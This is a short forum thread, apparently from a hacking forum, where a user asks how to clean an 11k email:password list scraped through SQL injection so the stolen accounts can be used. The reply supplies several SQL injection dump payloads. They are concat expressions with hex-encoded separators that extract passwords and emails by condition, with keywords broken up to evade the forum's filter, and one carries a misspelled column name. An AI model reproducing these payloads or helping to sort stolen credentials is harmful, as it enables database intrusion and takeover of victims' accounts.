Thread: [How do I filter out combos from a list?](#)

Ryebread830 - December 6, 2016, 1:46 pm

I have a 11k combo list I just scraped from an SQLI injection however some of the accounts in the list are just emails in both the email and password sections. Can I filter out these to use the rest of the accounts? There's a solid 8k with 3k email:email (instead of email:password) combos littered throughout so it'd be really nice if you guys had any idea of what to do.

If you want to filter out rows with empty emails use

PHP Code

```
<?php
```

```
con**cat(@c:=0x00,if((select count(*) from your_table where email is not null and @c:=con**cat(@c,0x3c6c693e,paasword,0x203a3a20,email)),0x00,0x00),@c)
```

If you want to filter out rows where emails and passwords are the same use:

PHP Code

```
<?php
```

```
con**cat(@c:=0x00,if((select count(*) from your_table where not (email = password) and @c:=con**cat(@c,0x3c6c693e,password,0x203a3a20,email)),0x00,0x00),@c)
```

If you want just quick feed back (number) of possible rows you get back using your condition (without showing data for passwords and emails) use:

PHP Code

```
<?php
```

```
con**cat(0x636f756e743a20,(select count(*) from your_table where email is not null))
```

or

PHP Code

```
<?php
```

```
con**cat(0x636f756e743a20,(select count(*) from your_table where not(email=password)))
```

P.S:

Remove from syntax. I added it to avoid HF block on some SQL commands...
